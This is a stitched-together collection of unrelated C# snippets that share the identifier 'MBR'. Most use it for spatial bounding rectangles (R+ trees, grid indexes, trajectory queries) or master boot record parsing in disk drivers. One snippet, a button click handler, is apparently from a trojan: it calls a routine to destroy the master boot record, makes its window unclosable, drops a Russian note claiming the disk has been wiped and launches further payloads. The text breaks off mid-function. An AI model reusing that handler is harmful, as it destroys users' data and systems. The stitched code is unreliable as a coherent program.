/// <summary> /// Sets the current view of mapper window represented by windowId using a MapInfo MBR /// </summary> /// <param name="windowId">Window identification number of mapper window</param> /// <param name="mipMBR">MBR to fit Map to</param> /// <param name="csys">CoordSys string that specifies the coordinate system used by the mipMBR arguments</param> public static void SetViewMBR(int windowId, MBR mipMBR, string unit, string csys) { double xMin, yMin, xMax, yMax; double winHeight, winWidth; double mapZoom; xMin = mipMBR.MinimumX; yMin = mipMBR.MinimumY; xMax = mipMBR.MaximumX; yMax = mipMBR.MaximumY; //MessageBox.Show (String.Format("MBR: {0}", mipMBR.ToString())); //MessageBox.Show (String.Format("Center: {0}", mipMBR.GetCenter())); winHeight = GetWindowHeight(windowId); winWidth = GetWindowWidth(windowId); if (((xMax - xMin) / winWidth) > ((yMax - yMin) / winHeight)) { mapZoom = xMax - xMin; } else { mapZoom = ((winWidth + 10) / winHeight) * (yMax - yMin); } //MessageBox.Show(String.Format("Zoom: {0} {1}", Convert.ToString(mapZoom), unit)); SetView(windowId, mipMBR.GetCenterX(), mipMBR.GetCenterY(), mapZoom, unit, csys); }
private List <int> getCells(MBR mbr) { List <int> rst = new List <int>(); int c1 = getCell(mbr.TopLeft); int c2 = getCell(mbr.BottomRight); Debug.Assert(c1 <= c2); int c1col = c1 % nCol; int c2col = c2 % nCol; Debug.Assert(c1col <= c2col); int c1row = (c1 - c1col) / nCol; int c2row = (c2 - c2col) / nCol; Debug.Assert(c1row <= c2row); int ncol = c2col - c1col + 1; int nrow = c2row - c1row + 1; for (int i = 0; i < nrow; i++) { for (int j = 0; j < ncol; j++) { rst.Add(c1col + j + (c1row + i) * nCol); } } return(rst); }
// constructor function public CELL(MBR W) { this.current = W; this.next = null; this.prev = null; this.child = null; }
private static void sampleTest() { double[] samples = new double[] { 0.1, 0.2, 0.4 }; String srcDir = Path.Combine(baseTrjDir, "20121201"); String targetDir = Path.Combine(baseQueryResultDir, "samples"); String queryFile = "20121208"; double dev = 400; if (!Directory.Exists(targetDir)) { Directory.CreateDirectory(targetDir); } // load files for (int i = 0; i < samples.Length; ++i) { var trjDict = loadMultiTrj(srcDir, samples[i]); // build index MBR mbr = new MBR(115.6, 39.5, 117.3, 40.6); GridMultiTrj trjIndex = new GridMultiTrj(trjDict, 150, mbr); // handle queries String queryFileName = Path.Combine(baseQueryDir, queryFile + ".qry"); String targetFileName = Path.Combine(targetDir, String.Format("d{0}_q{1}_dev{2:#.}.csv", Path.GetFileNameWithoutExtension(srcDir), queryFile, dev)); Console.WriteLine("Src:{0}, Query:{1}", Path.GetFileNameWithoutExtension(srcDir), queryFile); handleQuery(trjDict, trjIndex, queryFileName, targetFileName, dev); } }
public async Task <IActionResult> PutMBR([FromRoute] int id, [FromBody] MBR mBR) { if (!ModelState.IsValid) { return(BadRequest(ModelState)); } if (id != mBR.Applicationid) { return(BadRequest()); } _context.Entry(mBR).State = EntityState.Modified; try { await _context.SaveChangesAsync(); } catch (DbUpdateConcurrencyException) { if (!MBRExists(id)) { return(NotFound()); } else { throw; } } return(NoContent()); }
private static void InitAta(Ata.ControllerIdEnum aControllerID, Ata.BusPositionEnum aBusPosition) { var xIO = aControllerID == Ata.ControllerIdEnum.Primary ? Core.Global.BaseIOGroups.ATA1 : Core.Global.BaseIOGroups.ATA2; var xATA = new AtaPio(xIO, aControllerID, aBusPosition); if (xATA.DriveType == AtaPio.SpecLevel.Null) { return; } if (xATA.DriveType == AtaPio.SpecLevel.ATA) { BlockDevice.BlockDevice.Devices.Add(xATA); Ata.AtaDebugger.Send("ATA device with speclevel ATA found."); } else { //Ata.AtaDebugger.Send("ATA device with spec level " + (int)xATA.DriveType + // " found, which is not supported!"); return; } var xMbrData = new byte[512]; xATA.ReadBlock(0UL, 1U, xMbrData); var xMBR = new MBR(xMbrData); if (xMBR.EBRLocation != 0) { //EBR Detected var xEbrData = new byte[512]; xATA.ReadBlock(xMBR.EBRLocation, 1U, xEbrData); var xEBR = new EBR(xEbrData); for (int i = 0; i < xEBR.Partitions.Count; i++) { //var xPart = xEBR.Partitions[i]; //var xPartDevice = new BlockDevice.Partition(xATA, xPart.StartSector, xPart.SectorCount); //BlockDevice.BlockDevice.Devices.Add(xPartDevice); } } // TODO Change this to foreach when foreach is supported Ata.AtaDebugger.Send("Number of MBR partitions found: " + xMBR.Partitions.Count); for (int i = 0; i < xMBR.Partitions.Count; i++) { var xPart = xMBR.Partitions[i]; if (xPart == null) { Console.WriteLine("Null partition found at idx " + i); } else { var xPartDevice = new Partition(xATA, xPart.StartSector, xPart.SectorCount); BlockDevice.BlockDevice.Devices.Add(xPartDevice); Console.WriteLine("Found partition at idx " + i); } } }
public void Test() { for (int i = 0; i < testfiles.Length; i++) { string location = Path.Combine(Consts.TestFilesRoot, "filesystems", "ext2", testfiles[i]); IFilter filter = new LZip(); filter.Open(location); IMediaImage image = new Vdi(); Assert.AreEqual(true, image.Open(filter), testfiles[i]); Assert.AreEqual(sectors[i], image.Info.Sectors, testfiles[i]); Assert.AreEqual(sectorsize[i], image.Info.SectorSize, testfiles[i]); IPartition parts = new MBR(); Assert.AreEqual(true, parts.GetInformation(image, out List <Partition> partitions, 0), testfiles[i]); IFilesystem fs = new ext2FS(); int part = -1; for (int j = 0; j < partitions.Count; j++) { if (partitions[j].Type == "0x83") { part = j; break; } } Assert.AreNotEqual(-1, part, $"Partition not found on {testfiles[i]}"); Assert.AreEqual(true, fs.Identify(image, partitions[part]), testfiles[i]); fs.GetInformation(image, partitions[part], out _, null); Assert.AreEqual(clusters[i], fs.XmlFsType.Clusters, testfiles[i]); Assert.AreEqual(clustersize[i], fs.XmlFsType.ClusterSize, testfiles[i]); Assert.AreEqual(extversion[i], fs.XmlFsType.Type, testfiles[i]); Assert.AreEqual(volumename[i], fs.XmlFsType.VolumeName, testfiles[i]); Assert.AreEqual(volumeserial[i], fs.XmlFsType.VolumeSerial, testfiles[i]); } }
public static void Main(System.String[] argv) { RPlus root; RECT rec, s_rec; MBR[] obj = new MBR[6]; int i; // Case 6: Randomly generate 5 objects. int fillfactor = 3; root = new RPlus(fillfactor); rec = new RECT(16, 51, 39, 59); obj[1] = new MBR(rec, 1); rec = new RECT(53, 12, 65, 24); obj[2] = new MBR(rec, 2); rec = new RECT(4, 46, 11, 64); obj[3] = new MBR(rec, 3); rec = new RECT(15, 6, 61, 75); obj[4] = new MBR(rec, 4); rec = new RECT(51, 2, 70, 79); obj[5] = new MBR(rec, 5); root.insert(obj[1]); root.insert(obj[2]); root.insert(obj[3]); root.insert(obj[4]); root.insert(obj[5]); // root.pack(); root.print(); }
// 检查某坐标是否在多边形内部 public bool Include(Vector2 pos) { if (!MBR.Include(pos)) { return(false); } var checker = new LineSegment((GeomPoint)pos, new GeomPoint(MBR.XMax + 10, pos.Y)); int crosses = 0; foreach (var seg in IterSegments(true)) { var tmp = LineSegment.CheckCross(checker, seg); if (tmp == null) // 平行或共线 { if (seg.Item1.Y != pos.Y) { continue; } if (seg.Item1.X < pos.X != seg.Item2.X < pos.X) { crosses++; // 重合线横跨待检查坐标两侧 } } if (0 < tmp.Item1 && tmp.Item1 < 1 && 0 <= tmp.Item2 && tmp.Item2 < 1) { crosses++; // Item2检查一端 } } return(crosses % 2 == 1); // 射线交点为奇数 }
/// <summary> /// Attempts to initialise a disk treating it as MBR formatted. /// </summary> /// <param name="aDiskDevice">The disk to initialise.</param> /// <returns>True if a valid MBR was detected and the disk was successfully initialised. Otherwise, false.</returns> private static bool InitAsMBR(DiskDevice aDiskDevice) { #if FSM_TRACE BasicConsole.WriteLine("Attempting to read MBR..."); #endif byte[] MBRData = new byte[512]; aDiskDevice.ReadBlock(0UL, 1U, MBRData); #if FSM_TRACE BasicConsole.WriteLine("Read potential MBR data. Attempting to init MBR..."); #endif MBR TheMBR = new MBR(MBRData); if (!TheMBR.IsValid) { return(false); } else { #if FSM_TRACE BasicConsole.WriteLine("Valid MBR found."); #endif ProcessMBR(TheMBR, aDiskDevice); return(true); } }
public void TestMBRStructure() { var mbrStructure = new MBR(0); var realSize = Marshal.SizeOf(mbrStructure); var expected = 512; var message = String.Format("Expected: {0}, found: {1}", expected, realSize); Assert.AreEqual(expected, realSize, message); }
public GridVertex(IEnumerable <Vertex> vertices, MBR mbr, double cellSize) { nCol = (int)(Math.Ceiling(mbr.Width / cellSize)); nRow = (int)(Math.Ceiling(mbr.Height / cellSize)); Debug.Assert(nCol > 0 && nRow > 0); this.cellSize = cellSize; this.mbr = mbr; buildIndex(vertices); }
private static MBR getMBR(IEnumerable <GeoPoint> points) { MBR mbr = MBR.EMPTY; foreach (var point in points) { mbr.Include(point); } return(mbr); }
public GridMultiTrj(Dictionary <long, Trajectory> trjs, double cSize, MBR mbr) { this.trjs = trjs; this.mbr = mbr; this.cellSize = cSize * Constants.D_PER_M; nCol = (int)(Math.Ceiling(mbr.Width / cellSize)); nRow = (int)(Math.Ceiling(mbr.Height / cellSize)); Debug.Assert(nCol > 0 && nRow > 0); buildIndex(); }
public void TestMBRSerialization() { var mbrStructure = new MBR(0); var bytes = PartitionManagement.getBytes(mbrStructure); var size = sizeof(byte) * bytes.Length; var expected = 512; var message = String.Format("Expected: {0}, found: {1}", expected, size); Assert.AreEqual(expected, size, message); }
public GridTrj(Trajectory trj, double cSize) { this.trj = trj; this.mbr = getMBR(trj); this.cellSize = cSize * Constants.D_PER_M; nCol = (int)(Math.Ceiling(mbr.Width / cellSize)); nRow = (int)(Math.Ceiling(mbr.Height / cellSize)); Debug.Assert(nCol > 0 && nRow > 0); buildIndex(); }
private MBR getMBR(Trajectory trj) { MBR mbr = MBR.EMPTY; int count = trj.Count; foreach (MotionVector mv in trj) { mbr.Include(mv.point); } return(mbr); }
public static List <MBR> ExtractRegions(List <GeoPoint> points) { List <MBR> regions = new List <MBR>(); // if (lat > 392600000 && lat < 410300000 && lng > 1152500000 && lng < 1173000000) MBR mbr = new MBR(115.25, 39.26, 117.3, 41.03); double cellSize = 500 * TrjTools.Constants.D_PER_M; int minCount = 20; GridPoint index = new GridPoint(points, mbr, cellSize); regions = index.GetHotRegions(minCount); return(regions); }
public async Task <IActionResult> PostMBR([FromBody] MBR mBR) { if (!ModelState.IsValid) { return(BadRequest(ModelState)); } _context.MBRs.Add(mBR); await _context.SaveChangesAsync(); return(CreatedAtAction("GetMBR", new { id = mBR.Applicationid }, mBR)); }
public override void Init() { if (DriveType == ATA.SpecLevel.Null) { return; } if (DriveType == ATA.SpecLevel.ATA) { SendCmd(ATA.Cmd.Identify); } else { SendCmd(ATA.Cmd.IdentifyPacket); } var xBuff = (ushort *)Heap.alloc(512); for (int i = 0; i < 256; i++) { xBuff[i] = IOPort.inw(IOData); } SerialNo = GetString(xBuff, 10, 20); FirmwareRev = GetString(xBuff, 23, 8); ModelNo = GetString(xBuff, 27, 40); BlockCount = ((uint)xBuff[61] << 16 | xBuff[60]) - 1; LBA48Bit = (xBuff[83] & 0x40) != 0; if (LBA48Bit) { BlockCount = ((ulong)xBuff[102] << 32 | (ulong)xBuff[101] << 16 | (ulong)xBuff[100]) - 1; } byte *xMbrData = (byte *)Heap.alloc(512); ReadBlock(0, 1, xMbrData); MBR xMBR = new MBR(); xMBR.Setup(this, xMbrData); int parts = 0; for (int i = 0; i < xMBR.partitions.Length; i++) { if (xMBR.partitions[i] != null) { DeviceManager.AllDevices.Add(xMBR.partitions[i]); parts++; } } Console.Write(mControllerID == ControllerIdEnum.Primary ? "Primary" : "Secondary"); Console.Write(" drive on "); Console.Write(mBusPosition == BusPositionEnum.Master ? "Master" : "Slave"); Console.Write(" bus with "); Console.Write(parts); Console.WriteLine(" partitions"); }
public SimpleData(int x, int y) { Random r = new Random(); XTVector min = new XTVector(2); XTVector max = new XTVector(2); for (int i = 0; i < 2; ++i) { int z = r.Next(50) + 40; min[i] = (i==0?x:y) - z / 2; max[i] = min[i] + z / 2; } mbr = new MBR(min, max); }
internal static void LoadIDE(bool IsPrimary, bool IsMaster) { var xIDE = new IDE(IsPrimary, IsMaster); bool Clean = true; if (xIDE.IsValid) { switch (xIDE.Device) { case Device.IDE_ATA: { /* * First we check If it has partitions, * If parition.count > 0 * Add Individual Partitions */ var xMBR = new MBR(xIDE); if (xMBR.PartInfo.Count > 0) { for (int i = 0; i < xMBR.PartInfo.Count; i++) { /* * Iterate over all FileSystem Drivers and check which is valid */ var xFileSystem = new FatFileSystem(xMBR.PartInfo[i]); if (xFileSystem.IsValid) { VirtualFileSystem.MountDevice(null, xFileSystem); Clean = false; } else { Heap.Free(xFileSystem); } } } xMBR.Clean(); } break; } } if (Clean) { Heap.Free(xIDE); } }
public MBR ObterAgrangencia(int empreendimentoId, BancoDeDados banco = null) { MBR abrangencia = new MBR(); try { abrangencia = _da.ObterAbrangencia(empreendimentoId, banco); abrangencia.Corrigir(); } catch (Exception exc) { Validacao.AddErro(exc); } return(abrangencia); }
/// <summary> /// Get the edge with a distance roughly lower than radius from point p /// </summary> /// <param name="p"></param> /// <param name="radius"></param> /// <returns></returns> public HashSet <int> RangeQuery(GeoPoint p, double radius) { //get mbr double d_radius = radius * Constants.D_PER_M; //radius in degree double minLat, minLng, maxLat, maxLng; double radius2 = radius * radius; minLng = p.Lng - d_radius; maxLng = p.Lng + d_radius; minLat = p.Lat - d_radius; maxLat = p.Lat + d_radius; MBR rect = new MBR(minLng, minLat, maxLng, maxLat); HashSet <int> result = RangeQuery(rect); return(result); }
private static void dataQueryTest(String srcDir, String targetDir, String[] queryFiles, double sampleRate, double maxDist) { // load files var trjDict = loadMultiTrj(srcDir, sampleRate); // build index MBR mbr = new MBR(115.6, 39.5, 117.3, 40.6); GridMultiTrj trjIndex = new GridMultiTrj(trjDict, 150, mbr); // handle queries for (int i = 0; i < queryFiles.Length; ++i) { String queryFileName = Path.Combine(baseQueryDir, queryFiles[i] + ".qry"); String targetFileName = Path.Combine(targetDir, String.Format("d{0}_q{1}_dev{2:#.}.csv", Path.GetFileNameWithoutExtension(srcDir), queryFiles[i], maxDist)); Console.WriteLine("Src:{0}, Query:{1}", Path.GetFileNameWithoutExtension(srcDir), queryFiles[i]); handleQuery(trjDict, trjIndex, queryFileName, targetFileName, maxDist); } }
/// <summary> /// Processes a valid master boot record to initialize its partitions. /// </summary> /// <param name="anMBR">The MBR to process.</param> /// <param name="aDiskDevice">The disk device from which the MBR was read.</param> private static void ProcessMBR(MBR anMBR, DiskDevice aDiskDevice) { for (int i = 0; i < anMBR.NumPartitions; i++) { MBR.PartitionInfo aPartInfo = anMBR.Partitions[i]; if (aPartInfo.EBRLocation != 0) { byte[] EBRData = new byte[512]; aDiskDevice.ReadBlock(aPartInfo.EBRLocation, 1U, EBRData); EBR newEBR = new EBR(EBRData); ProcessMBR(newEBR, aDiskDevice); } else { Partitions.Add(new Partition(aDiskDevice, aPartInfo.StartSector, aPartInfo.SectorCount)); } } }
// attach new child to node internal virtual void attach(MBR obj) { CELL new_cell; // new cell inserted to list // create new cell new_cell = new CELL(obj); // insert into list of cells new_cell.next = head; if (head == null) { head = new_cell; } else { head.prev = new_cell; head = new_cell; } }
/// <summary> /// Initializes storage components /// </summary> private static unsafe void initStorage() { Disk.Init(); // Init partition schemes GPT.Register(); MBR.Register(); // Init filesystems Fat16.Register(); AHCI.Init(); ATA.Init(); NVMe.Init(); PacketFS.Init(); }
/// <summary> /// Get the edge with a distance lower than radius from point p /// </summary> /// <param name="p"></param> /// <param name="radius"></param> /// <returns></returns> public HashSet <int> RangeQuery(MBR rect) { HashSet <int> result = new HashSet <int>(); List <int> cids = getCells(rect); int cands_count = cids.Count; foreach (int cid in cids) { List <int> idxs = null; bool got = dict.TryGetValue(cid, out idxs); if (got) { foreach (int idx in idxs) { result.Add(idx); } } } return(result); }
// insert new node to RPlus tree public virtual void insert(MBR obj) { Split_info sp; node tmp; MBR mbr; sp = new Split_info(); tmp = new node(); // must insert data object in somewhere in RPlus tree // ignore number of nodes inserted if (this.head == null) { this.head = new node(); } sp = this.head.insert_obj(obj, this.fillfactor); if (sp.newnode != null) { mbr = new MBR(sp.mbr); tmp.insert(mbr); tmp.head.child = sp.newnode; if (sp.xcut >= 0 && (tmp.head.current.cutxl == - 1 || sp.xcut > tmp.head.current.cutxl)) tmp.head.current.cutxl = sp.xcut; if (sp.ycut >= 0 && (tmp.head.current.cutyl == - 1 || sp.ycut > tmp.head.current.cutyl)) tmp.head.current.cutyl = sp.ycut; if (tmp.head.child != null) tmp.head.child.parent = tmp.head; tmp.head.resize(); mbr = new MBR(sp.mbr2); tmp.insert(mbr); tmp.head.child = head; if (sp.xcut >= 0 && (tmp.head.current.cutxh == - 1 || sp.xcut < tmp.head.current.cutxh)) tmp.head.current.cutxh = sp.xcut; if (sp.ycut >= 0 && (tmp.head.current.cutyh == - 1 || sp.ycut < tmp.head.current.cutyh)) tmp.head.current.cutyh = sp.ycut; if (tmp.head.child != null) tmp.head.child.parent = tmp.head; tmp.head.resize(); this.head = tmp; } }
private void LoadAsHardDiskImage() { GCHandle pb = new GCHandle(); byte[] b = new byte[512]; strm.Position = 0; strm.Read(b, 0, b.Length); pb = GCHandle.Alloc(b, GCHandleType.Pinned); mMasterBootRecord = (MBR)Marshal.PtrToStructure(pb.AddrOfPinnedObject(), typeof(MBR)); pb.Free(); for (int partitionNumber = 0; partitionNumber <= 4 - 1; partitionNumber++) { strm.Position = (long)(mMasterBootRecord.Partitions[partitionNumber].RelativeSector * 512); strm.Read(b, 0, b.Length); pb = GCHandle.Alloc(b, GCHandleType.Pinned); if (mMasterBootRecord.Partitions[partitionNumber].SystemId == StandardDiskFormat.SystemIds.FAT_12) { mBootSectors[partitionNumber] = Marshal.PtrToStructure(pb.AddrOfPinnedObject(), typeof(FAT12.BootSector)); } else if (mMasterBootRecord.Partitions[partitionNumber].SystemId == StandardDiskFormat.SystemIds.FAT_16) { mBootSectors[partitionNumber] = Marshal.PtrToStructure(pb.AddrOfPinnedObject(), typeof(FAT16.BootSector)); } else if (mMasterBootRecord.Partitions[partitionNumber].SystemId == StandardDiskFormat.SystemIds.FAT_BIGDOS) { mBootSectors[partitionNumber] = Marshal.PtrToStructure(pb.AddrOfPinnedObject(), typeof(FAT32.BootSector)); } else if (mMasterBootRecord.Partitions[partitionNumber].SystemId == SystemIds.EMPTY) { pb.Free(); continue; } pb.Free(); ReadFAT(partitionNumber); } }
private static void busQueryTest() { String srcDir = Path.Combine(baseTrjDir, "20121201"); String queryFileName = Path.Combine(baseQueryDir, "bus_query.csv"); String targetDir = Path.Combine(baseQueryResultDir, "bus_query"); double maxDist = 800; //double sampleRate = 0.05; foreach (var sampleRate in new double[] { 0.05, 0.1 }) { var trjDict = loadMultiTrj(srcDir, sampleRate); // build index MBR mbr = new MBR(115.6, 39.5, 117.3, 40.6); GridMultiTrj trjIndex = new GridMultiTrj(trjDict, 150, mbr); // handle queries { String targetFileName = Path.Combine(targetDir, String.Format("d{0}_bus_dev{1:#.}_sample{2:0.##}.csv", Path.GetFileNameWithoutExtension(srcDir), maxDist, sampleRate)); handleQuery(trjDict, trjIndex, queryFileName, targetFileName, maxDist); } } }
private async void button1_Click(object sender, EventArgs e) { // Run if (Failsafe.FailMain()) { Harmless = false; Hide(); Program.MakeUnclosable(); MBR.FuckMBR(); File.WriteAllText(@"C:\trash.txt", "Твой компьютер был заражен Amogus Trojan 2.0!\nДаже не пытайся его удалить, " + "твой MBR уже был стёрт!\n\nСоздано TheAirBlow 2021 (https://vk.com/theairblow)"); ProcessStartInfo info = new ProcessStartInfo(); info.FileName = @"C:\Windows\notepad.exe"; info.Arguments = @"C:\trash.txt"; Process.Start(info); await Task.Delay(10000); SoundPlayer s = new SoundPlayer(Resources.amogus); s.PlayLooping(); await PayloadsManager.Start(); } }
protected virtual void Dispose(bool disposing) { if (!_disposed) { if (disposing) { } if (MaxDimensionMBR != null) { MaxDimensionMBR.EditClear(); } MaxDimensionMBR = null; if (MBR != null) { MBR.EditClear(); } MBR = null; _mapcontrol = null; _grid25Layers.Clear(); _grid25Layers = null; _disposed = true; } }
public HashSet <GeoPoint> RangeQuery(MBR rect) { HashSet <GeoPoint> result = new HashSet <GeoPoint>(); List <int> cands = getCells(rect); int cands_count = cands.Count; for (int i = 0; i < cands_count; i++) { List <GeoPoint> vertices = null; bool got = dict.TryGetValue(cands[i], out vertices); if (got) { foreach (var v in vertices) { if (rect.Cover(v)) { result.Add(v); } } } } return(result); }
public static void Main(System.String[] argv) { RPlus root; RECT rec, s_rec; MBR[] obj = new MBR[50]; int i; //UPGRADE_TODO: Constructor 'java.io.FileReader.FileReader' was converted to 'System.IO.StreamReader' which has a different behavior. "ms-help://MS.VSCC.v80/dv_commoner/local/redirect.htm?index='!DefaultContextWindowIndex'&keyword='jlca1073'" System.IO.StreamReader input = new System.IO.StreamReader("roads.txt", System.Text.Encoding.Default); //UPGRADE_TODO: The differences in the expected value of parameters for constructor 'java.io.BufferedReader.BufferedReader' may cause compilation errors. "ms-help://MS.VSCC.v80/dv_commoner/local/redirect.htm?index='!DefaultContextWindowIndex'&keyword='jlca1092'" System.IO.StreamReader bufRead = new System.IO.StreamReader(input.BaseStream, input.CurrentEncoding); // Case 6: Randomly generate 5 objects. System.String[] OID = new System.String[40000]; System.String[] X1 = new System.String[40000]; System.String[] X2 = new System.String[40000]; System.String[] Y1 = new System.String[40000]; System.String[] Y2 = new System.String[40000]; int[] iOID = new int[40000]; int[] iX1 = new int[40000]; int[] iX2 = new int[40000]; int[] iY1 = new int[40000]; int[] iY2 = new int[40000]; System.String line; line = bufRead.ReadLine(); int num = 0; while (line != null) { int currentIndex = 0; System.String substring = ""; bool space1 = false; bool space2 = false; bool space3 = false; bool space4 = false; while (space1 == false) { if (line[currentIndex] == ' ') { OID[num] = substring; iOID[num] = System.Int32.Parse(OID[num]); space1 = true; currentIndex++; substring = ""; } else { substring += line[currentIndex]; currentIndex++; } } while (space2 == false) { if (line[currentIndex] == ' ') { X1[num] = substring; iX1[num] = System.Int32.Parse(X1[num]); space2 = true; currentIndex++; substring = ""; } else { substring += line[currentIndex]; currentIndex++; } } while (space3 == false) { if (line[currentIndex] == ' ') { X2[num] = substring; iX2[num] = System.Int32.Parse(X2[num]); space3 = true; currentIndex++; substring = ""; } else { substring += line[currentIndex]; currentIndex++; } } while (space4 == false) { if (line[currentIndex] == ' ') { Y1[num] = substring; iY1[num] = System.Int32.Parse(Y1[num]); space4 = true; currentIndex++; substring = ""; } else { substring += line[currentIndex]; currentIndex++; } } Y2[num] = line.Substring(currentIndex, (line.Length) - (currentIndex)); iY2[num] = System.Int32.Parse(Y2[num]); num++; line = bufRead.ReadLine(); } // For checking accuraccy of input /* for(int j = 0; j < num; j++){ System.out.println("OID: " + iOID[j] + " X1: " + iX1[j] + " X2: " + iX2[j] + " Y1: " + iY1[j] + " Y2: " + iY2[j] + "."); } */ int fillfactor = 31; root = new RPlus(fillfactor); for (int j = 1; j < 10000; j++) { Console.WriteLine(j); rec = new RECT(iX1[j], iX2[j], iY1[j], iY2[j]); obj[1] = new MBR(rec, iOID[j]); root.insert(obj[1]); } /* rec = new RECT(4, 7, 4, 7); obj[1] = new MBR(rec, 1); rec = new RECT(10, 8, 10, 8); obj[2] = new MBR(rec, 2); rec = new RECT(6, 5, 6, 5); obj[3] = new MBR(rec, 3); rec = new RECT(3,9, 3, 9); obj[4] = new MBR(rec, 4); rec = new RECT(7, 6, 7, 6); obj[5] = new MBR(rec, 5); rec = new RECT(5,3,5,3); obj[6] = new MBR(rec, 6); rec = new RECT(8,2,8,2); obj[7] = new MBR(rec, 7); rec = new RECT(8,3,8,3); obj[8] = new MBR(rec, 8); root.insert(obj[1]); root.insert(obj[2]); root.insert(obj[3]); root.insert(obj[4]); root.insert(obj[5]); root.insert(obj[6]); root.insert(obj[7]); root.insert(obj[8]); // root.pack(); */ root.print(); Console.ReadLine(); }
// insert new node to subtree of this node // return number of nodes inserted internal virtual Split_info insert_obj(MBR obj, int fillfactor) { int counter = 0; // number of nodes inserted Split_info sp; CELL tmp; MBR tmpmbr; sp = new Split_info(); // try to insert data object to children for (CELL curr_cell = head; curr_cell != null; curr_cell = curr_cell.next) { // check children for overlapping with data object if (curr_cell.current.check_overlap(obj.mbr) == 1 && curr_cell.current.oid == 0) { // check if curr_cell is data cell if (curr_cell.child != null) { // non-data node // insert into subtree sp = curr_cell.child.insert_obj(obj, fillfactor); if (sp.newnode != null) { curr_cell.current.mbr = sp.mbr2; if (sp.xcut >= 0 && (curr_cell.current.cutxh == - 1 || sp.xcut < curr_cell.current.cutxh)) curr_cell.current.cutxh = sp.xcut; if (sp.ycut >= 0 && (curr_cell.current.cutyh == - 1 || sp.ycut < curr_cell.current.cutyh)) curr_cell.current.cutyh = sp.ycut; curr_cell.resize(); tmpmbr = new MBR(sp.mbr); this.insert(tmpmbr); this.head.child = sp.newnode; this.head.child.parent = this.head; this.head.current.cutxl = sp.cutxl; this.head.current.cutyl = sp.cutyl; this.head.current.cutxh = sp.cutxh; this.head.current.cutyh = sp.cutyh; if (sp.xcut >= 0 && (this.head.current.cutxl == - 1 || sp.xcut > this.head.current.cutxl)) this.head.current.cutxl = sp.xcut; if (sp.ycut >= 0 && (this.head.current.cutyl == - 1 || sp.ycut > this.head.current.cutyl)) this.head.current.cutyl = sp.ycut; this.head.resize(); } else { curr_cell.resize(); } counter++; } } } sp = new Split_info(); if (counter == 0) { // attach new child to this node attach(obj); } if (this.getlength() > fillfactor) { sp = this.splitnode(fillfactor); } if (this.parent != null) { this.parent.resize(); } return sp; }
internal virtual void insert(MBR W) { CELL ins_cell; ins_cell = new CELL(W); ins_cell.next = this.head; this.head = ins_cell; if (this.head.next != null) this.head.next.prev = this.head; }
// ofcreate creats an overflown node. internal virtual void ofcreate(int ff, int oid) { int counter; int total; int curr_id; total = 2 * ff + 1; curr_id = oid; this.head = null; // Create a number of cells and insert them to the cell list. for (counter = 0; counter < total; counter++) { MBR temp_mbr = new MBR(curr_id); CELL temp_cell = new CELL(temp_mbr); temp_cell.next = this.head; if (this.head == null) { this.head = temp_cell; } else { this.head.prev = temp_cell; this.head = temp_cell; } curr_id++; } }
internal virtual void button1_MousePress(System.Object event_sender, System.Windows.Forms.MouseEventArgs event_Renamed) { // to do: code goes here. RECT rec; MBR obj; System.String text1, text2, text3, text4, text5; System.Single t1, t2, t3, t4; System.Int32 t5; text1 = textField1.Text; text2 = textField2.Text; text3 = textField3.Text; text4 = textField4.Text; text5 = textField5.Text; if (text1.Length == 0 || text2.Length == 0 || text3.Length == 0 || text4.Length == 0 || text5.Length == 0) { textArea1.ReadOnly = !true; textArea1.AppendText("Incorrect input\n"); textArea1.ReadOnly = !false; } else { t1 = System.Single.Parse(text1); t2 = System.Single.Parse(text2); t3 = System.Single.Parse(text3); t4 = System.Single.Parse(text4); t5 = System.Int32.Parse(text5); //UPGRADE_TODO: The equivalent in .NET for method 'java.lang.Float.floatValue' may return a different value. "ms-help://MS.VSCC.v80/dv_commoner/local/redirect.htm?index='!DefaultContextWindowIndex'&keyword='jlca1043'" rec = new RECT((float) t1, (float) t2, (float) t3, (float) t4); obj = new MBR(rec, t5); root.insert(obj); } textField1.Text = ""; textField2.Text = ""; textField3.Text = ""; textField4.Text = ""; textField5.Text = ""; this.redraw(); }
internal virtual node pack(node input, int fillfactor) { node result; Partition_info info; MBR mbr; RECT rect; float xcut = 0, ycut = 0; result = new node(); while (input.head != null) { info = new Partition_info(); info = this.partition(input, fillfactor); rect = new RECT(info.R.getnodesize()); mbr = new MBR(rect); result.insert(mbr); if (result.head.current.mbr.low[0] < xcut && xcut > 0) { result.head.current.mbr.low[0] = xcut; result.head.current.cutxl = xcut; } if (result.head.current.mbr.low[1] < ycut && ycut > 0) { result.head.current.mbr.low[1] = ycut; result.head.current.cutyl = ycut; } if (result.head.current.mbr.high[0] > info.xcut && info.xy == 'x') { result.head.current.mbr.high[0] = info.xcut; result.head.current.cutxh = info.xcut; } if (result.head.current.mbr.high[1] > info.ycut && info.xy == 'y') { result.head.current.mbr.high[1] = info.ycut; result.head.current.cutyh = info.ycut; } if (info.xy == 'x') { xcut = info.xcut; } if (info.xy == 'y') { ycut = info.ycut; } result.head.child = info.R; input.head = info.S.head; } if (result.getlength() <= fillfactor) { return result; } return this.pack(result, fillfactor); }
// Function called by to redistribute nodes in the list // by Nelson internal virtual Split_info redistribute_node(int ff, Cut_info cut) { node tmp, tmp2; Split_info info, info2; MBR tmpmbr; CELL ptr; RECT R1, R2, ns1, ns2; RECT parent, par2; int check1, check2; info = new Split_info(); parent = new RECT(); if (this.parent != null) { parent.low[0] = this.parent.current.mbr.low[0]; parent.low[1] = this.parent.current.mbr.low[1]; parent.high[0] = this.parent.current.mbr.high[0]; parent.high[1] = this.parent.current.mbr.high[1]; } else { parent = this.getnodesize(); } par2 = this.getnodesize(); tmp = new node(); tmp2 = new node(); tmp.parent = this.parent; tmp2.parent = this.parent; if (cut.dir == 'x') { R1 = new RECT(parent.low[0], parent.low[1], cut.cut, parent.high[1]); R2 = new RECT(cut.cut, parent.low[1], parent.high[0], parent.high[1]); info.xcut = cut.cut; } else { R1 = new RECT(parent.low[0], parent.low[1], parent.high[0], cut.cut); R2 = new RECT(parent.low[0], cut.cut, parent.high[0], parent.high[1]); info.ycut = cut.cut; } ptr = this.head; while (ptr != null) { check1 = ptr.current.check_overlap(R1); check2 = ptr.current.check_overlap(R2); if (check1 == 1 && check2 != 1) { tmp.insert(ptr.current); tmp.head.child = ptr.child; if (tmp.head.child != null) tmp.head.child.parent = tmp.head; } else if (check1 != 1 && check2 == 1) { tmp2.insert(ptr.current); tmp2.head.child = ptr.child; if (tmp2.head.child != null) tmp2.head.child.parent = tmp2.head; } else { if (ptr.child != null) { info2 = ptr.child.splitnode(ff, cut); 